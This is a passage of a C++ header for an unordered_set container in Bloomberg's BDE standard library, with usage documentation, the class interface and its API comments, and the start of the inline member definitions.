// | a.insert(p1, v)) | Average: O[1] |
// | | Worst: O[n] |
// +----------------------------------------------------+--------------------+
// | a.insert(i1, i2) | Average O[ |
// | | distance(i1, i2)]|
// | | Worst: O[ n * |
// | | distance(i1, i2)]|
// +----------------------------------------------------+--------------------+
// | a.erase(p1) | Average: O[1] |
// | | Worst: O[n] |
// +----------------------------------------------------+--------------------+
// | a.erase(k) | Average: O[ |
// | | a.count(k)]|
// | | Worst: O[n] |
// +----------------------------------------------------+--------------------+
// | a.erase(p1, p2) | Average: O[ |
// | | distance(p1, p2)]|
// | | Worst: O[n] |
// +----------------------------------------------------+--------------------+
// | a.clear() | O[n] |
// +----------------------------------------------------+--------------------+
// | a.find(k) | Average: O[1] |
// | | Worst: O[n] |
// +----------------------------------------------------+--------------------+
// | a.count(k) | Average: O[1] |
// | | Worst: O[n] |
// +----------------------------------------------------+--------------------+
// | a.equal_range(k) | Average: O[ |
// | | a.count(k)]|
// | | Worst: O[n] |
// +----------------------------------------------------+--------------------+
// | a.bucket_count() | O[1] |
// +----------------------------------------------------+--------------------+
// | a.max_bucket_count() | O[1] |
// +----------------------------------------------------+--------------------+
// | a.bucket(k) | O[1] |
// +----------------------------------------------------+--------------------+
// | a.bucket_size(k) | O[a.bucket_size(k)]|
// +----------------------------------------------------+--------------------+
// | a.load_factor() | O[1] |
// +----------------------------------------------------+--------------------+
// | a.max_load_factor() | O[1] |
// | a.max_load_factor(z) | O[1] |
// +----------------------------------------------------+--------------------+
// | a.rehash(k) | Average: O[n] |
// | | Worst: O[n^2] |
// +----------------------------------------------------+--------------------+
// | a.resize(k) | Average: O[n] |
// | | Worst: O[n^2] |
// +----------------------------------------------------+--------------------+
//..
//
///Unordered Set Configuration
///---------------------------
// The unordered set has interfaces that can provide insight into and control
// of its inner workings. The syntax and semantics of these interfaces for
// 'bslstl_unoroderedset' are identical to those of 'bslstl_unorderedmap'. See
// the discussion in {'bslstl_unorderedmap'|Unordered Map Configuration} and
// the illustrative material in {'bslstl_unorderedmap'|Example 2}.
//
///Practical Requirements on 'HASH'
///--------------------------------
// An important factor in the performance an unordered set (and any of the
// other unordered containers) is the choice of hash function. Please see
// the discussion in {'bslstl_unorderedmap'|Practical Requirements on 'HASH'}.
//
///Usage
///-----
// In this section we show intended use of this component.
//
///Example 1: Categorizing Data
/// - - - - - - - - - - - - - -
// Unordered set are useful in situations when there is no meaningful way to
// order key values, when the order of the values is irrelevant to the problem
// domain, and (even if there is a meaningful ordering) the value of ordering
// the results is outweighed by the higher performance provided by unordered
// sets (compared to ordered sets).
//
// Suppose one is analyzing data on a set of customers, and each customer is
// categorized by several attributes: customer type, geographic area, and
// (internal) project code; and that each attribute takes on one of a limited
// set of values. This data can be handled by creating an enumeration for each
// of the attributes:
//..
// typedef enum {
// REPEAT
// , DISCOUNT
// , IMPULSE
// , NEED_BASED
// , BUSINESS
// , NON_PROFIT
// , INSTITUTE
// // ...
// } CustomerCode;
//
// typedef enum {
// USA_EAST
// , USA_WEST
// , CANADA
// , MEXICO
// , ENGLAND
// , SCOTLAND
// , FRANCE
// , GERMANY
// , RUSSIA
// // ...
// } LocationCode;
//
// typedef enum {
// TOAST
// , GREEN
// , FAST
// , TIDY
// , PEARL
// , SMITH
// // ...
// } ProjectCode;
//..
// For printing these values in a human-readable form, we define these helper
// functions:
//..
// static const char *toAscii(CustomerCode value)
// {
// switch (value) {
// case REPEAT: return "REPEAT";
// case DISCOUNT: return "DISCOUNT";
// case IMPULSE: return "IMPULSE";
// case NEED_BASED: return "NEED_BASED";
// case BUSINESS: return "BUSINESS";
// case NON_PROFIT: return "NON_PROFIT";
// case INSTITUTE: return "INSTITUTE";
// // ...
// default: return "(* UNKNOWN *)";
// }
// }
//
// static const char *toAscii(LocationCode value)
// {
// ...
// }
//
// static const char *toAscii(ProjectCode value)
// {
// ...
// }
//..
// The data set (randomly generated for this example) is provided in a
// statically initialized array:
//..
// static const struct CustomerProfile {
// CustomerCode d_customer;
// LocationCode d_location;
// ProjectCode d_project;
// } customerProfiles[] = {
// { IMPULSE , CANADA , SMITH },
// { NON_PROFIT, USA_EAST, GREEN },
// ...
// { INSTITUTE , USA_EAST, TOAST },
// { NON_PROFIT, ENGLAND , FAST },
// { NON_PROFIT, USA_WEST, TIDY },
// { REPEAT , MEXICO , TOAST },
// };
// const int numCustomerProfiles = sizeof customerProfiles
// / sizeof *customerProfiles;
//..
// Suppose, as the first step in analysis, we wish to determine the number of
// unique combinations of customer attributes that exist in our data set. We
// can do that by inserting each data item into an (unordered) set: the first
// insert of a combination will succeed, the others will fail, but at the end
// of the process, the set will contain one entry for every unique combination
// in our data.
//
// First, as there are no standard methods for hashing or comparing our user
// defined types, we define 'CustomerProfileHash' and 'CustomerProfileEqual'
// classes, each a stateless functor. Note that there is no meaningful
// ordering of the attribute values, they are merely arbitrary code numbers;
// nothing is lost by using an unordered set instead of an ordered set:
//..
// class CustomerProfileHash
// {
// public:
// // CREATORS
// //! CustomerProfileHash() = default;
// // Create a 'CustomerProfileHash' object.
//
// //! CustomerProfileHash(const CustomerProfileHash& original) = default;
// // Create a 'CustomerProfileHash' object. Note that as
// // 'CustomerProfileHash' is an empty (stateless) type, this
// // operation will have no observable effect.
//
// //! ~CustomerProfileHash() = default;
// // Destroy this object.
//
// // ACCESSORS
// std::size_t operator()(CustomerProfile x) const;
// // Return a hash value computed using the specified 'x'.
// };
//..
// The hash function combines the several enumerated values from the class
// (each a small 'int' value) into a single, unique 'int' value, and then
// applying the default hash function for 'int'. See {Practical Requirements
// on 'HASH'}.
//..
// // ACCESSORS
// std::size_t CustomerProfileHash::operator()(CustomerProfile x) const
// {
// return bsl::hash<int>()(x.d_location * 100 * 100
// + x.d_customer * 100
// + x.d_project);
// }
//
// class CustomerProfileEqual
// {
// public:
// // CREATORS
// //! CustomerProfileEqual() = default;
// // Create a 'CustomerProfileEqual' object.
//
// //! CustomerProfileEqual(const CustomerProfileEqual& original)
// //! = default;
// // Create a 'CustomerProfileEqual' object. Note that as
// // 'CustomerProfileEqual' is an empty (stateless) type, this
// // operation will have no observable effect.
//
// //! ~CustomerProfileEqual() = default;
// // Destroy this object.
//
// // ACCESSORS
// bool operator()(const CustomerProfile& lhs,
// const CustomerProfile& rhs) const;
// // Return 'true' if the specified 'lhs' have the same value as the
// // specified 'rhs', and 'false' otherwise.
// };
//
// // ACCESSORS
// bool CustomerProfileEqual::operator()(const CustomerProfile& lhs,
// const CustomerProfile& rhs) const
// {
// return lhs.d_location == rhs.d_location
// && lhs.d_customer == rhs.d_customer
// && lhs.d_project == rhs.d_project;
// }
//..
// Notice that many of the required methods of the hash and comparitor types
// are compiler generated. (The declaration of those methods are commented out
// and suffixed by an '= default' comment.)
//
// Then, we define the type of the unordered set and a convenience aliases:
//..
// typedef bsl::unordered_set<CustomerProfile,
// CustomerProfileHash,
// CustomerProfileEqual> ProfileCategories;
// typedef ProfileCategories::const_iterator ProfileCategoriesConstItr;
//..
// Next, we create an unordered set and insert each item of 'data'.
//..
// ProfileCategories profileCategories;
//
// for (int idx = 0; idx < numCustomerProfiles; ++idx) {
// profileCategories.insert(customerProfiles[idx]);
// }
//
// assert(numCustomerProfiles >= profileCategories.size());
//..
// Notice that we ignore the status returned by the 'insert' method. We fully
// expect some operations to fail.
//
// Now, the size of 'profileCategories' matches the number of unique customer
// profiles in this data set.
//..
// printf("%d %d\n", numCustomerProfiles, profileCategories.size());
//..
// Standard output shows:
//..
// 100 84
//..
// Finally, we can examine the unique set by iterating through the unordered
// set and printing each element. Note the use of the several 'toAscii'
// functions defined earlier to make the output comprehensible:
//..
// for (ProfileCategoriesConstItr itr = profileCategories.begin(),
// end = profileCategories.end();
// end != itr; ++itr) {
// printf("%-10s %-8s %-5s\n",
// toAscii(itr->d_customer),
// toAscii(itr->d_location),
// toAscii(itr->d_project));
// }
//..
// We find on standard output:
//..
// NON_PROFIT ENGLAND FAST
// DISCOUNT CANADA TIDY
// IMPULSE USA_WEST GREEN
// ...
// DISCOUNT USA_EAST GREEN
// DISCOUNT MEXICO SMITH
//..
// Prevent 'bslstl' headers from being included directly in 'BSL_OVERRIDES_STD'
// mode. Doing so is unsupported, and is likely to cause compilation errors.
#if defined(BSL_OVERRIDES_STD) && !defined(BSL_STDHDRS_PROLOGUE_IN_EFFECT)
#error "<bslstl_unorderedset.h> header can't be included directly in \
BSL_OVERRIDES_STD mode"
#endif
#ifndef INCLUDED_BSLSCM_VERSION
#include <bslscm_version.h>
#endif
#ifndef INCLUDED_BSLSTL_ALLOCATOR
#include <bslstl_allocator.h> // Can probably escape with a fwd-decl, but not
#endif // very user friendly
#ifndef INCLUDED_BSLSTL_ALLOCATORTRAITS
#include <bslstl_allocatortraits.h>
#endif
#ifndef INCLUDED_BSLSTL_EQUALTO
#include <bslstl_equalto.h>
#endif
#ifndef INCLUDED_BSLSTL_HASH
#include <bslstl_hash.h>
#endif
#ifndef INCLUDED_BSLSTL_HASHTABLE
#include <bslstl_hashtable.h>
#endif
#ifndef INCLUDED_BSLSTL_HASHTABLEBUCKETITERATOR
#include <bslstl_hashtablebucketiterator.h>
#endif
#ifndef INCLUDED_BSLSTL_HASHTABLEITERATOR
#include <bslstl_hashtableiterator.h>
#endif
#ifndef INCLUDED_BSLSTL_ITERATORUTIL
#include <bslstl_iteratorutil.h>
#endif
#ifndef INCLUDED_BSLSTL_PAIR
#include <bslstl_pair.h> // result type of 'equal_range' method
#endif
#ifndef INCLUDED_BSLSTL_UNORDEREDSETKEYCONFIGURATION
#include <bslstl_unorderedsetkeyconfiguration.h>
#endif
#ifndef INCLUDED_BSLALG_BIDIRECTIONALLINK
#include <bslalg_bidirectionallink.h>
#endif
#ifndef INCLUDED_BSLALG_TYPETRAITHASSTLITERATORS
#include <bslalg_typetraithasstliterators.h>
#endif
#ifndef INCLUDED_BSLMA_USESBSLMAALLOCATOR
#include <bslma_usesbslmaallocator.h>
#endif
#ifndef INCLUDED_BSLMF_ISBITWISEMOVEABLE
#include <bslmf_isbitwisemoveable.h>
#endif
#ifndef INCLUDED_BSLMF_NESTEDTRAITDECLARATION
#include <bslmf_nestedtraitdeclaration.h>
#endif
#ifndef INCLUDED_BSLS_ASSERT
#include <bsls_assert.h>
#endif
#ifndef INCLUDED_CSTDDEF
#include <cstddef> // for 'std::size_t'
#define INCLUDED_CSTDDEF
#endif
namespace bsl {
// ===================
// class unordered_set
// ===================
template <class KEY,
class HASH = bsl::hash<KEY>,
class EQUAL = bsl::equal_to<KEY>,
class ALLOCATOR = bsl::allocator<KEY> >
class unordered_set
{
// This class template implements a value-semantic container type holding
// an unordered set of unique values (of template parameter type 'KEY').
//
// This class:
//: o supports a complete set of *value-semantic* operations
//: o except for 'bdex' serialization
//: o is *exception-neutral* (agnostic except for the 'at' method)
//: o is *alias-safe*
//: o is 'const' *thread-safe*
// For terminology see {'bsldoc_glossary'}.
private:
// PRIVATE TYPES
typedef bsl::allocator_traits<ALLOCATOR> AllocatorTraits;
// This typedef is an alias for the allocator traits type associated
// with this container.
typedef KEY ValueType;
// This typedef is an alias for the type of values maintained by this
// set.
typedef ::BloombergLP::bslstl::UnorderedSetKeyConfiguration<ValueType>
ListConfiguration;
// This typedef is an alias for the policy used internally by this
// container to extract the 'KEY' value from the values maintained by
// this set.
typedef ::BloombergLP::bslstl::HashTable<ListConfiguration,
HASH,
EQUAL,
ALLOCATOR> HashTable;
// This typedef is an alias for the template instantiation of the
// underlying 'bslstl::HashTable' used to implement this set.
typedef ::BloombergLP::bslalg::BidirectionalLink HashTableLink;
// This typedef is an alias for the type of links maintained by the
// linked list of elements held by the underlying 'bslstl::HashTable'.
// FRIEND
template <class KEY2,
class HASH2,
class EQUAL2,
class ALLOCATOR2>
friend bool operator==(
const unordered_set<KEY2, HASH2, EQUAL2, ALLOCATOR2>&,
const unordered_set<KEY2, HASH2, EQUAL2, ALLOCATOR2>&);
public:
// PUBLIC TYPES
typedef KEY key_type;
typedef KEY value_type;
typedef HASH hasher;
typedef EQUAL key_equal;
typedef ALLOCATOR allocator_type;
typedef typename allocator_type::reference reference;
typedef typename allocator_type::const_reference const_reference;
typedef typename AllocatorTraits::size_type size_type;
typedef typename AllocatorTraits::difference_type difference_type;
typedef typename AllocatorTraits::pointer pointer;
typedef typename AllocatorTraits::const_pointer const_pointer;
public:
// TRAITS
BSLMF_NESTED_TRAIT_DECLARATION_IF(
unordered_set,
::BloombergLP::bslmf::IsBitwiseMoveable,
::BloombergLP::bslmf::IsBitwiseMoveable<HashTable>::value);
typedef ::BloombergLP::bslstl::HashTableIterator<
const value_type, difference_type> iterator;
typedef ::BloombergLP::bslstl::HashTableBucketIterator<
const value_type, difference_type> local_iterator;
typedef iterator const_iterator;
typedef local_iterator const_local_iterator;
private:
// DATA
HashTable d_impl;
public:
// CREATORS
explicit unordered_set(size_type initialNumBuckets = 0,
const hasher& hash = hasher(),
const key_equal& keyEqual = key_equal(),
const allocator_type& allocator = allocator_type());
// Construct an empty unordered set. Optionally specify an
// 'initialNumBuckets' indicating the initial size of the array of
// buckets of this container. If 'initialNumBuckets' is not supplied,
// an implementation defined value is used. Optionally specify a
// 'hasher' used to generate the hash values associated to the
// keys extracted from the values contained in this object. If 'hash'
// is not supplied, a default-constructed object of type 'hasher' is
// used. Optionally specify a key-equality functor 'keyEqual' used to
// verify that two key values are the same. If 'keyEqual' is not
// supplied, a default-constructed object of type 'key_equal' is used.
// Optionally specify an 'allocator' used to supply memory. If
// 'allocator' is not supplied, a default-constructed object of the
// (template parameter) type 'allocator_type' is used. If the
// 'allocator_type' is 'bsl::allocator' (the default), then 'allocator'
// shall be convertible to 'bslma::Allocator *'. If the 'ALLOCATOR' is
// 'bsl::allocator' and 'allocator' is not supplied, the currently
// installed default allocator will be used to supply memory.
explicit unordered_set(const allocator_type& allocator);
// Construct an empty unordered set that uses the specified 'allocator'
// to supply memory. Use a default-constructed object of type 'hasher'
// to generate hash values for the key extracted from the values
// contained in this object. Also, use a default-constructed object of
// type 'key_equal' to verify that two key values are the same. If the
// 'allocator_type' is 'bsl::allocator' (the default), then 'allocator'
// shall be convertible to 'bslma::Allocator *'.
unordered_set(const unordered_set& original);
unordered_set(const unordered_set& original,
const allocator_type& allocator);
// Construct an unordered set having the same value as that of the
// specified 'original'. Use a default-constructed object of type
// 'hasher' to generate hash values for the key extracted from the
// values contained in this object. Also, use a default-constructed
// object of type 'key_equal' to verify that two key values are the
// same. Optionally specify an 'allocator' used to supply memory. If
// 'allocator' is not supplied, a default-constructed object of type
// 'allocator_type' is used. If the 'allocator_type' is
// 'bsl::allocator' (the default), then 'allocator' shall be
// convertible to 'bslma::Allocator *'.
template <class INPUT_ITERATOR>
unordered_set(INPUT_ITERATOR first,
INPUT_ITERATOR last,
size_type initialNumBuckets = 0,
const hasher& hash = hasher(),
const key_equal& keyEqual = key_equal(),
const allocator_type& allocator = allocator_type());
// Construct an empty unordered set and insert each 'value_type' object
// in the sequence starting at the specified 'first' element, and
// ending immediately before the specified 'last' element, ignoring
// those pairs having a key that appears earlier in the sequence.
// Optionally specify an 'initialNumBuckets' indicating the initial
// size of the array of buckets of this container. If
// 'initialNumBuckets' is not supplied, an implementation defined value
// is used. Optionally specify a 'hash' used to generate hash values
// for the keys extracted from the values contained in this object. If
// 'hash' is not supplied, a default-constructed object of type
// 'hasher' is used. Optionally specify a key-equality functor
// 'keyEqual' used to verify that two key values are the same. If
// 'keyEqual' is not supplied, a default-constructed object of type
// 'key_equal' is used. Optionally specify an 'allocator' used to
// supply memory. If 'allocator' is not supplied, a
// default-constructed object of the (template parameter) type
// 'allocator_type' is used. If the 'allocator_type' is
// 'bsl::allocator' (the default), then 'allocator' shall be
// convertible to 'bslma::Allocator *'. If the 'allocator_type' is
// 'bsl::allocator' and 'allocator' is not supplied, the currently
// installed default allocator will be used to supply memory. The
// (template parameter) type 'INPUT_ITERATOR' shall meet the
// requirements of an input iterator defined in the C++11 standard
// [24.2.3] providing access to values of a type convertible to
// 'value_type'. The behavior is undefined unless 'first' and 'last'
// refer to a sequence of valid values where 'first' is at a position
// at or before 'last'. This method requires that the (template
// parameter) type 'KEY' be "copy-constructible" (see
// {Requirements on 'KEY'}).
~unordered_set();
// Destroy this object.
// MANIPULATORS
unordered_set& operator=(const unordered_set& rhs);
// Assign to this object the value, hasher, and key-equality functor of
// the specified 'rhs' object, propagate to this object the
// allocator of 'rhs' if the 'ALLOCATOR' type has trait
// 'propagate_on_container_copy_assignment', and return a reference
// providing modifiable access to this object. This method requires
// that the (template parameter) type 'KEY' be "copy-constructible"
// (see {Requirements on 'KEY'}).
iterator begin();
// Return an iterator providing modifiable access to the first
// 'value_type' object (in the sequence of 'value_type' objects)
// maintained by this set, or the 'end' iterator if this set is empty.
iterator end();
// Return an iterator providing modifiable access to the past-the-end
// element in the sequence of 'value_type' objects maintained by this
// set.
local_iterator begin(size_type index);
// Return a local iterator providing modifiable access to the first
// 'value_type' object in the sequence of 'value_type' objects of the
// bucket having the specified 'index', in the array of buckets
// maintained by this set, or the 'end(index)' otherwise.
local_iterator end(size_type index);
// Return a local iterator providing modifiable access to the
// past-the-end element in the sequence of 'value_type' objects of the
// bucket having the specified 'index's, in the array of buckets
// maintained by this set.
void clear();
// Remove all entries from this set. Note that the container is
// empty after this call, but allocated memory may be retained for
// future use.
pair<iterator, iterator> equal_range(const key_type& key);
// Return a pair of iterators providing modifiable access to the
// sequence of 'value_type' objects in this unordered set having the
// specified 'key', where the the first iterator is positioned at the
// start of the sequence, and the second is positioned one past the
// end of the sequence. If this unordered set contains no 'value_type'
// objects having 'key', then the two returned iterators will have the
// same value. Note that since a set maintains unique keys, the range
// will contain at most one element.
size_type erase(const key_type& key);
// Remove from this set the 'value_type' object having the specified
// 'key', if it exists, and return 1; otherwise, if there is no
// 'value_type' object having 'key', return 0 with no other
// effect.
iterator erase(const_iterator position);
// Remove from this unordered set the 'value_type' object at the
// specified 'position', and return an iterator referring to the
// element immediately following the removed element, or to the
// past-the-end position if the removed element was the last element in
// the sequence of elements maintained by this set. The behavior is
// undefined unless 'position' refers to a 'value_type' object in this
// unordered set.
iterator erase(const_iterator first, const_iterator last);
// Remove from this set the 'value_type' objects starting at the
// specified 'first' position up to, but including the specified 'last'
// position, and return 'last'. The behavior is undefined unless
// 'first' and 'last' either refer to elements in this set or are the
// 'end' iterator, and the 'first' position is at or before the 'last'
// position in the ordered sequence provided by this container.
iterator find(const key_type& key);
// Return an iterator providing modifiable access to the 'value_type'
// object in this set having the specified 'key', if such an entry
// exists, and the past-the-end ('end') iterator otherwise.
pair<iterator, bool> insert(const value_type& value);
// Insert the specified 'value' into this set if the key (the 'first'
// element) of the 'value' does not already exist in this set;
// otherwise, if a 'value_type' object having the same key (according
// to 'key_equal') as 'value' already exists in this set, this method
// has no effect. Return a pair whose 'first' member is an iterator
// referring to the (possibly newly inserted) 'value_type' object in
// this set whose key is the same as that of 'value', and whose
// 'second' member is 'true' if a new value was inserted, and 'false'
// if the value was already present. This method requires that the
// (template parameter) type 'KEY' be "copy-constructible" (see
// {Requirements on 'KEY'}).
iterator insert(const_iterator hint, const value_type& value);
// Insert the specified 'value' into this set (in constant
// time if the specified 'hint' is a valid element in the bucket to
// which 'value' belongs), if the key ('value' itself) of the 'value'
// does not already exist in this set; otherwise, if a 'value_type'
// object having the same key (according to 'key_equal') as 'value'
// already exists in this set, this method has no effect. Return an
// iterator referring to the (possibly newly inserted) 'value_type'
// object in this set whose key is the same as that of 'value'. If
// 'hint' is not a valid immediate successor to the key of 'value',
// this operation will have worst case O[N] and average case constant
// time complexity, where 'N' is the size of this set. The behavior is
// undefined unless 'hint' is a valid iterator into this unordered set.
// This method requires that the (template parameter) type 'KEY' be
// "copy-constructible" (see {Requirements on 'KEY'}).
template <class INPUT_ITERATOR>
void insert(INPUT_ITERATOR first, INPUT_ITERATOR last);
// Insert into this set the value of each 'value_type' object in the
// range starting at the specified 'first' iterator and ending
// immediately before the specified 'last' iterator, whose key is not
// already contained in this set. The (template parameter) type
// 'INPUT_ITERATOR' shall meet the requirements of an input iterator
// defined in the C++11 standard [24.2.3] providing access to values of
// a type convertible to 'value_type'. This method requires that
// the (template parameter) type 'KEY' be "copy-constructible" (see
// {Requirements on 'KEY'}).
void max_load_factor(float newLoadFactor);
// Set the maximum load factor of this container to the specified
// 'newLoadFactor'.
void rehash(size_type numBuckets);
// Change the size of the array of buckets maintained by this container
// to the specified 'numBuckets', and redistribute all the contained
// elements into the new sequence of buckets, according to their hash
// values. Note that this operation has no effect if rehashing the
// elements into 'numBuckets' would cause this set to exceed its
// 'max_load_factor'.
void reserve(size_type numElements);
// Increase the number of buckets of this set to a quantity such that
// the ratio between the specified 'numElements' and this quantity does
// not exceed 'max_load_factor', and allocate footprint memory
// sufficient to grow the table to contain 'numElements' elements.
// Note that this guarantees that, after the reserve, elements can be
// inserted to grow the container to 'size() == numElements' without
// any further allocation, unless the 'KEY' type itself or the hash
// function allocate memory. Also note that this operation has no
// effect if 'numElements <= size()'.
void swap(unordered_set& other);
// Exchange the value of this object as well as its hasher and
// key-equality functor with those of the specified 'other' object.
// Additionally if
// 'bslstl::AllocatorTraits<ALLOCATOR>::propagate_on_container_swap' is
// 'true' then exchange the allocator of this object with that of the
// 'other' object, and do not modify either allocator otherwise. This
// method provides the no-throw exception-safety guarantee and
// guarantees O[1] complexity. The behavior is undefined is unless
// either this object was created with the same allocator as 'other' or
// 'propagate_on_container_swap' is 'true'.
// ACCESSORS
const_iterator begin() const;
const_iterator cbegin() const;
// Return an iterator providing non-modifiable access to the first
// 'value_type' object (in the sequence of 'value_type' objects)
// maintained by this set, or the 'end' iterator if this set is empty.
const_iterator end() const;
const_iterator cend() const;
// Return an iterator providing non-modifiable access to the
// past-the-end element (in the sequence of 'value_type' objects)
// maintained by this set.
const_local_iterator begin(size_type index) const;
const_local_iterator cbegin(size_type index) const;
// Return a local iterator providing non-modifiable access to the first
// 'value_type' object (in the sequence of 'value_type' objects) of the
// bucket having the specified 'index' in the array of buckets
// maintained by this set, or the 'end(index)' otherwise.
const_local_iterator end(size_type index) const;
const_local_iterator cend(size_type index) const;
// Return a local iterator providing non-modifiable access to the
// past-the-end element (in the sequence of 'value_type' objects) of
// the bucket having the specified 'index' in the array of buckets
// maintained by this set.
size_type bucket(const key_type& key) const;
// Return the index of the bucket, in the array of buckets of this
// container, where values having the specified 'key' would be
// inserted.
size_type bucket_count() const;
// Return the number of buckets in the array of buckets maintained by
// this set.
size_type bucket_size(size_type index) const;
// Return the number of elements contained in the bucket at the
// specified 'index' in the array of buckets maintained by this
// container.
size_type count(const key_type& key) const;
// Return the number of 'value_type' objects within this map having the
// specified 'key'. Note that since an unordered set maintains unique
// keys, the returned value will be either 0 or 1.
bool empty() const;
// Return 'true' if this set contains no elements, and 'false'
// otherwise.
pair<const_iterator, const_iterator> equal_range(
const key_type& key) const;
// Return a pair of iterators providing non-modifiable access to the
// sequence of 'value_type' objects in this container having the
// specified 'key', where the the first iterator is positioned at the
// start of the sequence and the second iterator is positioned one past
// the end of the sequence. If this set contains no 'value_type'
// objects having 'key' then the two returned iterators will have the
// same value. Note that since a set maintains unique keys, the range
// will contain at most one element.
const_iterator find(const key_type& key) const;
// Return an iterator providing non-modifiable access to the
// 'value_type' object in this set having the specified 'key', if such
// an entry exists, and the past-the-end ('end') iterator otherwise.
allocator_type get_allocator() const;
// Return (a copy of) the allocator used for memory allocation by this
// set.
key_equal key_eq() const;
// Return (a copy of) the key-equality binary functor that returns
// 'true' if the value of two 'key_type' objects is the same, and
// 'false' otherwise.
hasher hash_function() const;
// Return (a copy of) the hash unary functor used by this set to
// generate a hash value (of type 'size_t') for a 'key_type' object.
float load_factor() const;
// Return the current ratio between the 'size' of this container and
// the number of buckets. The 'load_factor' is a measure of how full
// the container is, and a higher load factor leads to an increased
// number of collisions, thus resulting in a loss performance.
size_type max_bucket_count() const;
// Return a theoretical upper bound on the largest number of buckets
// that this container could possibly manage. Note that there is no
// guarantee that the set can successfully grow to the returned size,
// or even close to that size without running out of resources.
float max_load_factor() const;
// Return the maximum load factor allowed for this container. If
// an insert operation would cause 'load_factor' to exceed
// the 'max_load_factor', that same insert operation will increase the
// number of buckets and rehash the elements of the container into
// those buckets the (see rehash).
size_type max_size() const;
// Return a theoretical upper bound on the largest number of elements
// that this set could possibly hold. Note that there is no guarantee
// that the set can successfully grow to the returned size, or even
// close to that size without running out of resources.
size_type size() const;
// Return the number of elements in this set.
};
// FREE FUNCTIONS
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
bool operator==(const unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& lhs,
const unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& rhs);
// Return 'true' if the specified 'lhs' and 'rhs' objects have the same
// value, and 'false' otherwise. Two 'unordered_set' objects have the
// same value if they have the same number of value-elements, and for each
// value-element that is contained in 'lhs' there is a value-element
// contained in 'rhs' having the same value, and vice-versa. This method
// requires that the (template parameter) type 'KEY' be
// "equality-comparable" (see {Requirements on 'KEY'}).
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
bool operator!=(const unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& lhs,
const unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& rhs);
// Return 'true' if the specified 'lhs' and 'rhs' objects do not have the
// same value, and 'false' otherwise. Two 'unordered_set' objects do not
// have the same value if they do not have the same number of
// value-elements, or that for some value-element contained in 'lhs' there
// is not a value-element in 'rhs' having the same value, and vice-versa.
// This method requires that the (template parameter) type 'KEY' and be
// "equality-comparable" (see {Requirements on 'KEY'}).
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
void swap(unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& x,
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>& y);
// Swap both the value and the comparator of the specified 'a' object with
// the value and comparator of the specified 'b' object. Additionally if
// 'bslstl::AllocatorTraits<ALLOCATOR>::propagate_on_container_swap' is
// 'true' then exchange the allocator of 'a' with that of 'b', and do not
// modify either allocator otherwise. This method provides the no-throw
// exception-safety guarantee and guarantees O[1] complexity. The behavior
// is undefined is unless either this object was created with the same
// allocator as 'other' or 'propagate_on_container_swap' is 'true'.
// ===========================================================================
// TEMPLATE AND INLINE FUNCTION DEFINITIONS
// ===========================================================================
//--------------------
// class unordered_set
//--------------------
// CREATORS
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::unordered_set(
size_type initialNumBuckets,
const hasher& hash,
const key_equal& keyEqual,
const allocator_type& allocator)
: d_impl(hash, keyEqual, initialNumBuckets, 1.0f, allocator)
{
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
template <class INPUT_ITERATOR>
inline
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::unordered_set(
INPUT_ITERATOR first,
INPUT_ITERATOR last,
size_type initialNumBuckets,
const hasher& hash,
const key_equal& keyEqual,
const allocator_type& allocator)
: d_impl(hash, keyEqual, initialNumBuckets, 1.0f, allocator)
{
this->insert(first, last);
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::unordered_set(
const allocator_type& allocator)
: d_impl(allocator)
{
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::unordered_set(
const unordered_set& original,
const allocator_type& allocator)
: d_impl(original.d_impl, allocator)
{
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::unordered_set(
const unordered_set& original)
: d_impl(original.d_impl,
AllocatorTraits::select_on_container_copy_construction(
original.get_allocator()))
{
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::~unordered_set()
{
// All memory management is handled by the base 'd_impl' member.
}
// MANIPULATORS
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>&
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::operator=(const unordered_set& rhs)
{
unordered_set(rhs, get_allocator()).swap(*this);
return *this;
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::begin()
{
return iterator(d_impl.elementListRoot());
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::end()
{
return iterator();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::local_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::begin(size_type index)
{
BSLS_ASSERT_SAFE(index < this->bucket_count());
return local_iterator(&d_impl.bucketAtIndex(index));
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
typename unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::local_iterator
unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::end(size_type index)
{
BSLS_ASSERT_SAFE(index < this->bucket_count());
return local_iterator(0, &d_impl.bucketAtIndex(index));
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
void unordered_set<KEY, HASH, EQUAL, ALLOCATOR>::clear()
{
d_impl.removeAll();
}
template <class KEY, class HASH, class EQUAL, class ALLOCATOR>
inline
